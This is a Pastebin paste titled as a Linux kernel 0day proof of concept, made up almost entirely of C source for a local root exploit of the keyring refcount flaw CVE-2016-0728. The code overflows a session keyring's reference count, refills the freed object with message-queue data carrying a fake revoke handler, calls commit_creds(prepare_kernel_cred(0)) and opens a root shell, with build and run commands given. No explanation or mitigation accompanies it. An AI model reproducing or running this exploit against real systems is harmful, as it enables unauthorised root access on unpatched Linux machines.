Advertisement
_d3f4ult

[+] Linux Kernel +3.8 0day PoC [+]

Jan 20th, 2016
2,470
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.15 KB | None | 0 0
  1. /* https://gist.github.com/PerceptionPointTeam/18b1e86d1c0f8531ff8f */
  2. /* $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall */
  3. /* $ ./cve_2016_072 PP_KEY */
  4.  
  5. #include <stdio.h>
  6. #include <stdlib.h>
  7. #include <string.h>
  8. #include <sys/types.h>
  9. #include <keyutils.h>
  10. #include <unistd.h>
  11. #include <time.h>
  12. #include <unistd.h>
  13.  
  14. #include <sys/ipc.h>
  15. #include <sys/msg.h>
  16.  
  17. typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
  18. typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
  19. _commit_creds commit_creds;
  20. _prepare_kernel_cred prepare_kernel_cred;
  21.  
  22. #define STRUCT_LEN (0xb8 - 0x30)
  23. #define COMMIT_CREDS_ADDR (0xffffffff81094250)
  24. #define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81094550)
  25.  
  26.  
  27.  
  28. struct key_type {
  29. char * name;
  30. size_t datalen;
  31. void * vet_description;
  32. void * preparse;
  33. void * free_preparse;
  34. void * instantiate;
  35. void * update;
  36. void * match_preparse;
  37. void * match_free;
  38. void * revoke;
  39. void * destroy;
  40. };
  41.  
  42. void userspace_revoke(void * key) {
  43. commit_creds(prepare_kernel_cred(0));
  44. }
  45.  
  46. int main(int argc, const char *argv[]) {
  47. const char *keyring_name;
  48. size_t i = 0;
  49. unsigned long int l = 0x100000000/2;
  50. key_serial_t serial = -1;
  51. pid_t pid = -1;
  52. struct key_type * my_key_type = NULL;
  53.  
  54. struct { long mtype;
  55. char mtext[STRUCT_LEN];
  56. } msg = {0x4141414141414141, {0}};
  57. int msqid;
  58.  
  59. if (argc != 2) {
  60. puts("usage: ./keys <key_name>");
  61. return 1;
  62. }
  63.  
  64. printf("uid=%d, euid=%d\n", getuid(), geteuid());
  65. commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
  66. prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
  67.  
  68. my_key_type = malloc(sizeof(*my_key_type));
  69.  
  70. my_key_type->revoke = (void*)userspace_revoke;
  71. memset(msg.mtext, 'A', sizeof(msg.mtext));
  72.  
  73. // key->uid
  74. *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
  75. //key->perm
  76. *(int*)(&msg.mtext[64]) = 0x3f3f3f3f;
  77.  
  78. //key->type
  79. *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;
  80.  
  81. if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
  82. perror("msgget");
  83. exit(1);
  84. }
  85.  
  86. keyring_name = argv[1];
  87.  
  88. /* Set the new session keyring before we start */
  89.  
  90. serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
  91. if (serial < 0) {
  92. perror("keyctl");
  93. return -1;
  94. }
  95.  
  96. if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
  97. perror("keyctl");
  98. return -1;
  99. }
  100.  
  101.  
  102. puts("Increfing...");
  103. for (i = 1; i < 0xfffffffd; i++) {
  104. if (i == (0xffffffff - l)) {
  105. l = l/2;
  106. sleep(5);
  107. }
  108. if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
  109. perror("keyctl");
  110. return -1;
  111. }
  112. }
  113. sleep(5);
  114. /* here we are going to leak the last references to overflow */
  115. for (i=0; i<5; ++i) {
  116. if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
  117. perror("keyctl");
  118. return -1;
  119. }
  120. }
  121.  
  122. puts("finished increfing");
  123. puts("forking...");
  124. /* allocate msg struct in the kernel rewriting the freed keyring object */
  125. for (i=0; i<64; i++) {
  126. pid = fork();
  127. if (pid == -1) {
  128. perror("fork");
  129. return -1;
  130. }
  131.  
  132. if (pid == 0) {
  133. sleep(2);
  134. if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
  135. perror("msgget");
  136. exit(1);
  137. }
  138. for (i = 0; i < 64; i++) {
  139. if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
  140. perror("msgsnd");
  141. exit(1);
  142. }
  143. }
  144. sleep(-1);
  145. exit(1);
  146. }
  147. }
  148.  
  149. puts("finished forking");
  150. sleep(5);
  151.  
  152. /* call userspace_revoke from kernel */
  153. puts("caling revoke...");
  154. if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
  155. perror("keyctl_revoke");
  156. }
  157.  
  158. printf("uid=%d, euid=%d\n", getuid(), geteuid());
  159. execl("/bin/sh", "/bin/sh", NULL);
  160.  
  161. return 0;
  162. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement